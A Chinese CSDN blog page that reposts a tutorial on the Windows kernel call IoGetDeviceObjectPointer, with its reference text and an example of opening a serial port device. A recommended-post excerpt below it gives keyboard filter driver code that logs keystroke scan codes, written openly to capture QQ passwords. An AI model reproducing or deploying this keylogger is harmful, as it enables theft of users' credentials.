IoGetDeviceObjectPointer

ZZ From:http://blog.csdn.net/zacklin/article/details/7466299

从名字获得设备对象

在知道一个设备名字的情况下,使用函数IoGetDeviceObjectPointer可以获得这个设备对象的指针。这个函数的原型如下:

<pre style="padding: 5px; margin-top: 0px; margin-bottom: 0px; overflow: auto; word-wrap: normal; font-size: 13.63636302947998px; line-height: 18.187271118164063px; font-family: Consolas, Courier, monospace !important;">NTSTATUS IoGetDeviceObjectPointer(
  _In_   PUNICODE_STRING ObjectName,
  _In_   ACCESS_MASK DesiredAccess,
  _Out_  PFILE_OBJECT *FileObject,
  _Out_  PDEVICE_OBJECT *DeviceObject
);


ParametersObjectName [in]Pointer to a buffer that contains a Unicode string that is the name of the device object.DesiredAccess [in]Specifies the ACCESS_MASK value that represents the desired access. Usually DesiredAccess is FILE_READ_DATA. Infrequently, the FILE_WRITE_DATA, or FILE_ALL_ACCESS access rights are specified.FileObject [out]Pointer to the file object that represents the corresponding device object to user-mode code if the call is successful.DeviceObject [out]Pointer to the device object that represents the named logical, virtual, or physical device if the call is successful.Return valueIoGetDeviceObjectPointer returns STATUS_SUCCESS if it is successful. Possible error return values include the following status codes:STATUS_OBJECT_TYPE_MISMATCHSTATUS_INVALID_PARAMETERSTATUS_PRIVILEGE_NOT_HELDSTATUS_INSUFFICIENT_RESOURCESSTATUS_OBJECT_NAME_INVALIDRemarksIoGetDeviceObjectPointer establishes a "connection" between the caller and the next-lower-level driver. A successful caller can use the returned device object pointer to initialize its own device objects. It can also be used as an argument to IoAttachDeviceToDeviceStack, IoCallDriver, and any routine that creates IRPs for lower drivers. The returned pointer is a required argument to IoCallDriver.This routine also returns a pointer to the corresponding file object. When unloading, a driver can dereference the file object as a means of indirectly dereferencing the device object. To do so, the driver calls ObDereferenceObject from its Unload routine, passing the file object pointer returned by IoGetDeviceObjectPointer. Failure to dereference the device object in a driver's Unload routine prevents the next-lower driver from being unloaded. However, drivers that close the file object before the unload process must take out an extra reference on the device object before dereferencing the file object. Otherwise, dereferencing the file object can lead to a premature deletion of the device object.To get a pointer to the highest-level driver in the file system driver stack, a driver must ensure that the file system is mounted; if it is not, this routine traverses the storage device stack. To ensure that the file system is mounted on the storage device, the driver must specify an appropriate access mask, such as FILE_READ_DATA or FILE_WRITE_ATTRIBUTES, in the DesiredAccess parameter. Specifying FILE_READ_ATTRIBUTES does not cause the file system to be mounted.After any higher-level driver has chained itself over another driver by successfully calling this routine, the higher-level driver must set the StackSize field in its device object to that of the next-lower-level driver's device object plus one.Callers of IoGetDeviceObjectPointer must be running at IRQL = PASSIVE_LEVEL.
 

其中的ObjectName就是设备名字。DesiredAccess是期望访问的权限。实际使用时可以不要顾忌那么多,直接填写FILE_ALL_ACCESS即可。FileObject是一个返回参数,即获得这个设备对象的同时会得到的一个文件对象(File Object)。就打开串口设备这件事而言,这个文件对象并没有什么用处。但是必须注意:在使用这个函数之后必须把这个文件对象“解除引用”,否则会引起内存泄漏(请注意后面的代码)。


要得到的设备对象就返回在参数DeviceObject中了。示例如下:
<pre name="code" class="cpp">#include <ntddk.h>
// 因为用到了RtlStringCchPrintfW,所以必须使用头文件ntstrsafe.h
// 这里定义NTSTRSAFE_LIB是为了使用静态的ntstrsafe静态库。这样才能
// 兼容Windows2000。
#define NTSTRSAFE_LIB
#include <ntstrsafe.h>
……
// 打开一个端口设备
PDEVICE_OBJECT ccpOpenCom(ULONG id,NTSTATUS *status)
{
// 外面输入的是串口的id,这里会改写成字符串的形式
UNICODE_STRING name_str;
static WCHAR name[32] = { 0 };
PFILE_OBJECT fileobj = NULL;
PDEVICE_OBJECT devobj = NULL;
 // 根据id转换成串口的名字
memset(name,0,sizeof(WCHAR)*32);
RtlStringCchPrintfW(
name,32,
L"\\Device\\Serial%d",id);
RtlInitUnicodeString(&name_str,name);
 // 打开设备对象
*status = IoGetDeviceObjectPointer(
&name_str, 
FILE_ALL_ACCESS, 
&fileobj, &devobj);

// 如果打开成功了,记得一定要把文件对象解除引用
// 总之,这一句不要忽视
if (*status == STATUS_SUCCESS)
ObDereferenceObject(fileobj);
 // 返回设备对象
return devobj;
}



                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值